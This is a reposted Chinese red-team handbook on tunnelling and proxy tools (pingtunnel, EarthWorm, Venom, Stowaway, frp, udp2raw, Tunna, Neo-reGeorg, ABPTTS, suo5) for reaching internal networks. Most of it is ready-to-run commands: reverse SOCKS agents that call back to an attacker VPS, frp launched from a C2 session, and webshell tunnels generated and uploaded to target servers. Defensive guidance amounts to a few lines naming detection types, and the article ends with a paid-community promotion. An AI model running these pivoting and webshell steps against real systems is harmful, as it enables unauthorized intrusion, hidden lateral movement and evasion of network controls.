隧道代理攻防技术战争手册

admin 2026-01-26 02:51:29 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入解析ICMP、TCP、UDP、DNS、SSH及HTTP隧道技术,详细介绍了pingtunnel、EarthWorm、Venom等工具在多级代理场景下的搭建与流量特征。文章对比了加密与非加密通信差异,并提出了基于端口、进程及流量特征的安全检测建议,对隐蔽通信与内网穿透有较高参考价值。 综合评分: 86 文章分类: 红队,内网渗透,安全工具,网络安全


ICMP隧道技术

什么是ICMP协议ICMP(Internet Control Message Protocol,Internet控制报文协议)是Internet协议族中的一个协议,用于在IP网络中传递控制消息和错误报告。ICMP属于TCP/IP协议族中的第三层-网络层协议。

ICMP隧道流量特征

正常情况下,单位时间内数据包发送的数量为一组。

pingtunnel

Pingtunnel 是⼀种通过 ICMP 发送 TCP/UDP 流量的⼯具。其是最流⾏的⼀款ICMP代理⼯具,提供对tcp/udp/sock5流量伪装成icmp流量进⾏转发的功能。需要root或者administrator/system权限。

下载 https://github.com/esrrhs/pingtunnel

⾼权限条件下

构建反向代理

1)服务端
-type server 代表开启ICMP SERVER端,等待客户端进⾏连接与通信。
-noprint 1 不在控制台打印⽇志
-nolog 1 不存储⽇志⽂件

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

./pingtunnel -type server -noprint 1 -nolog 1

设置 socks5

pingtunnel.exe -type client -l :4455 -s 192.168.99.129 -sock5 1 -noprint 1 -nolog 1

TCP隧道技术

TCP隧道流量特征

EarthWormew在建立连接的过程中,数据包存在额外的数据特征“xx xx 00 00 00 00” 客户端发送“01 01 00 00 00 00”

EarthWorm

EW 是⼀套便携式的⽹络穿透⼯具,具有 SOCKS v5服务架设和端⼝转发两⼤核⼼功能,可在复杂⽹络环境下完成⽹络穿透。

能够以“正向”、“反向”、“多级级联”等⽅式打通⼀条⽹络隧道,直达⽹络深处。

1、公网出网

目标网络边界存在公网IP且可任意开监听端口:

2、都是内网 但是出网

目标网络边界不存在公网 IP,需要通过反弹方式创建socks代理:

./ew -s rcsocks -l 1080 -e 8888    // 在 192.168.229.143的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
./ew -s rssocks -d 192.168.229.143 -e 8888    // 将目标网络的可控边界主机反向连接公网主机
HackTools 可通过访问 192.168.229.143:1080 端口使用 rssocks 主机提供的 socks5 代理服

3、二重网络环境

2)反向代理

第一种

先在B机器上执行命令 //跳板机监听7766端口并把流量走6677端口

ew_for_Win.exe -s rcsocks -l 7766 -e 6677

第二种:

内网 可出网

Venom

下载:https://github.com/Dliv3/Venom/

未加密下的反向socks5代理

攻击机器
本机IP:192.168.200.111
kali:192.168.99.129

目标机器
win8:192.168.99.134
第二层网卡:10.10.10.3

win10:10.10.10.4
开启3306
VPS:you-vps-ip
admin_linux_x64 -lport 7000 -passwd qaxNB666

show
goto 1
socks 1088

win8:192.168.99.134
agent.exe -rhost you-vps-ip -rport 7000 -passwd qaxNB666
1)VPS上运⾏服务端
admin_linux_x64 -lport 7000 -passwd qaxNB666

2)win8主机上传agent.exe并运⾏客户端

agent.exe -rhost you-vps-ip -rport 7000 -passwd qaxNB666

3)在VPS的服务端,开启socks

show
goto 1
socks 1088

实战演示:

  1. 浏览器访问http://192.168.0.109:5000/admin,发现可以执行命令

内网穿透

  1. 内网扫描
  • ip address 发现内网段为172.17.0.3/16网段
  • 内网主机扫描,发现172.17.0.1,172.17.0.2,172.17.0.3为存活主机
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

加密下的反向socks5代理

admin.exe -lport 9999 -passwd dlive@dubhe
agent.exe -rhost 192.168.1.131 -rport 9999 -passwd dlive@dubhe

多级级联

Stowaway 未完成

  • 介绍 Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具。用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能。

其功能特性支持:节点间正向/反向连接、节点间支持重连、节点间可通过socks5代理进行连接、节点间可通过ssh隧道连接、节点间流量可选择TCP/HTTP、多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6、节点支持ssh访问远程主机、远程shell、上传及下载文件、端口本地/远程映射、节点可端口复用、自由开关各类服务、节点间相互认证、节点间流量以AES-256-GCM进行加密。

  • 下载

    https://github.com/ph4ntonn/Stowaway

  • 使用

admin:

参数:
-l 被动模式下的监听地址[ip]:
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--down 下游协议类型,默认为裸TCP流量,可选HTTP

agent:

参数:
-l 被动模式下的监听地址[ip]:
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--reconnect 重连时间间隔(s)
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP
--down 下游协议类型,默认为裸TCP流量,可选HTTP
--cs 运行平台的shell编码类型,默认为utf-8,可选gbk

1)未加密下反向代理

服务端

./linux_x64_admin -l 9999
use 0
socks 10001

2)加密下反向代理

stowaway_admin -l 9999 -s test@123
stowaway_agent -c 192.168.1.131:9999 -s test@123

3)多级级联

在stowaway中,组成多级网络需要借助admin中的listen、connect、 sshtunnel命令来实现

admin:
./stowaway_admin -l 9999 -s 123

agent-1:
./stowaway_agent -c 127.0.0.1:9999 -s 123

agent-2:
./stowaway_agent -l 10000 -s 123
通过admin,输入use 0 -> connect agent-2的IP:10000来将其加入网络,并成为agent-1的一个子节点

agent-3:
./stowaway_agent -c 127.0.0.1:10001 -s 123
通过admin,输入use 0 -> listen -> 选择1.Normal Passive -> 输入10001 从而使得agent-1监听在10001端口上,并等待子节点的连接

frp

  • 下载:https://github.com/fatedier/frp
  • 配置⽂件: https://github.com/fatedier/frp/blob/dev/conf/frps_full_example.toml

https://github.com/fatedier/frp/blob/dev/conf/frpc_full_example.toml

配置VPS

[common]
bind_port = 7000
token = qaxNB666

./frps -c frps.ini

配置客户端

[common]
server_addr = 192.168.1.131
server_port = 7000
token = qaxNB666

[socks5]
type = tcp
remote_port = 1081
plugin = socks5
plugin_user = locks
plugin_passwd = locks
use_encryption = true
use_compression = true

进入到C2中上传frpc

cd C:\Windows\Temp\     移动到上传的位置
shell dir               查看是否正确位置
shell frpc.exe -c frpc.ini  执行frpc

UDP隧道技术

UDP隧道流量特征

Udp2raw利用udp2raw技术构建的隧道,目前在流量上未发现明显的特征

Udp2raw

  • 介绍 该工具可以利用原始套接字并通过伪造的TCP/UDP/ICMP流量来帮助研究人员绕过UDP防火墙(或不稳定的UDP环境)。

其支持心跳保活、自动重连,重连后会恢复上次连接,在底层掉线的情况下可以保持上层不掉线。同时有加密、防重放攻击、信道复用的功能。

  • 下载 https://github.com/wangyu-/udp2raw
  • 使用 假设你的UDP已被屏蔽,假设你的服务器IP为192.168.99.129,你有一个服务在监听udp端口7777。
在server端运行:
./udp2raw_amd64 -s -l0.0.0.0:4096 -r127.0.0.1:7777 -k "passwd" --raw-mode faketcp --cipher-mode xor -a

在client端运行:
./udp2raw_amd64 -c -l0.0.0.0:3333 -r192.168.99.129:4096 -k "passwd" --raw-mode faketcp --cipher-mode xor -a

此时,已成功通过TCP端口4096在客户端和服务器端之间建立了一条经过加密的通信隧道。在客户端通过UDP端口3333连接,等同于在服务器端连接端口7777。

2)中继模式

在中继模式下,需要自己有一个域名,并添加两条域名解析记录。

首先创建一条 A 记录指向自己的公网 VPS 地址,之后创建一条 ns 记录指向 A 记录的子域名,示例如下:

Linux转发

kali 连接 192.168.99.129 ubuntu ssh 192.168.99.132

-C:压缩传输,提高传输速度
-f :将ssh传输转入后台执行,不占用当前的shell
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g 允许远程主机连接本地用于转发的端口。
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定ssh端口
sudo ssh -N -f -L 192.168.99.129:4444:192.168.99.132:22 192.168.99.129

windows转发

kali 129 win10 131

sudo ssh -N -f -L 192.168.99.129:10086:192.168.99.131:3389 192.168.99.129

HTTP隧道技术

HTTP隧道流量特征

tunnel页面特征

tunnel

  • 介绍 Tunna 是一组工具,它将通过 HTTP 包装和隧道任何 TCP 通信。它可用于绕过完全防火墙环境中的网络限制。
  • 下载 https://github.com/SECFORCE/Tunna
  • 使用 前提是能够上传webshell

| | | | — | — | | 1  2  3  4  5  6  7 | -l 表示本地监听的端口  -r 远程要转发的端口  -v 详细模式  -b 请求大小  -s 首先启动 pinging 线程 – 一些服务首先发送数据(例如 SSH)  -C 请求 cookie  -t 基本认证 |

1)连接RDP

VPS执行

python2 proxy.py -u http://192.168.99.135:81/conn.aspx -l 1234 -a 192.168.99.135 -r 3389

2)连接SSH

vps

python2 proxy.py -u http://192.168.99.132/conn.php -l 1234 -a 192.168.99.132 -r 22 -v -s

reGeog&&Neo-reGeorg

  • 介绍 reGeorg是reDuh的继承者,其主要是把内网服务器的端口通过http/https构建成隧道的一款工具。

  • 下载 https://github.com/sensepost/reGeorg https://github.com/L-codes/Neo-reGeorg

  • 使用

    reGeorg

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Neo-reGeorg

Neo-reGeorg是一个旨在积极重构reGeorg的项目,目的是:提高 tunnel 连接安全性、提高可用性,避免特征检测、提高传输内容保密性、应对更多的网络环境场景。 Neo-reGeorg支持:

1、传输内容经过变形 base64 加密,伪装成 base64 编码
2、直接请求响应可定制化 (如伪装的404页面)
3、HTTP Headers 的指令随机生成,避免特征检测
4、HTTP Headers 可定制化
5、自定义 HTTP 响应码
6、多 URL 随机请求
7、服务端 DNS 解析
8、兼容 python2 / python3
9、服务端环境的高兼容性
(仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
(非 php) 支持内网转发,应对负载均衡环境

使用方法

python3 neoreg.py generate -k password

python3 neoreg.py -k password -u http://xx/tunnel.php

python neoreg.py generate -k  --file 404.html --httpcode 404

python neoreg.py -k  -u  --skip

python neoreg.py -k  -u  --proxy socks5://10.1.1.1:8080

python neoreg.py -k  -u  -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"

实战开始:

1、Kali中生成自定义连接密码的shell。
python3 neoreg.py generate -k Netw@rk123

2、上传文件

将生成的shell文件上传至目标服务器。

ABPTTS

  • 介绍 ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发的工具。

  • 下载 https://github.com/nccgroup/ABPTTS

  • 使用

    配置环境

  git clone https://github.com/nccgroup/ABPTTS.git
  pip install pycryptodome
  pip install httplib2
  #报错可以用
  pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pycryptodome
  本地安装httplib2
  https://pypi.org/project/pycryptodome/#files
  tar -xzvf httplib2-0.22.0.tar.gz
  cd httplib2-0.22.0
  import importlib
  python2 setup.py install
  python2 -c "import httplib2; print(httplib2.__version__)
  pip2 install pyparsing

实际操作

服务端

#生成对应webshell
python2 abpttsfactory.py -o webshell

suo5

Suo5是一个全新的 HTTP 代理隧道,基于HTTP/1.1的Chunked-Encoding构建。相比Neo-reGeorg等传统隧道工具,suo5的性能可以达到其数十倍。查看性能测试。

其主要特性如下:

  1. 同时支持全双工与半双工模式,传输性能接近 FRP
  2. 支持在 Nginx 反向代理和负载均衡场景使用
  3. 完善的连接控制和并发管理,使用流畅丝滑
  4. 支持 Tomcat Jetty Weblogic WebSphere Resin 等主流中间件
  5. 支持 Java4 ~ Java 19 全版本, 兼容性拉满
  6. 同时提供提供命令行和图形化界面

下载地址:https://github.com/zema1/suo5

工具使用

第一步:

将suo5.aspx文件上传到靶机shell里面去,默认默认开放的是1111端口

第二步:

打开对应的gui文件进行代理设置

检测与防御

以frp作为案例 端口检测、进程检测、网络检测、文件检测、行为检测、流量检测、日志检测

端口检测:默认配置下,frp的服务端端口为7000

知识星球

可以加入我们的知识星球,包含cs二开,甲壳虫,渗透工具,SRC案例分享,POC工具等,还有很多src挖掘资料包


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:泷羽Sec-track Locks_ Locks_《隧道代理攻防技术战争手册》

评论:0   参与:  0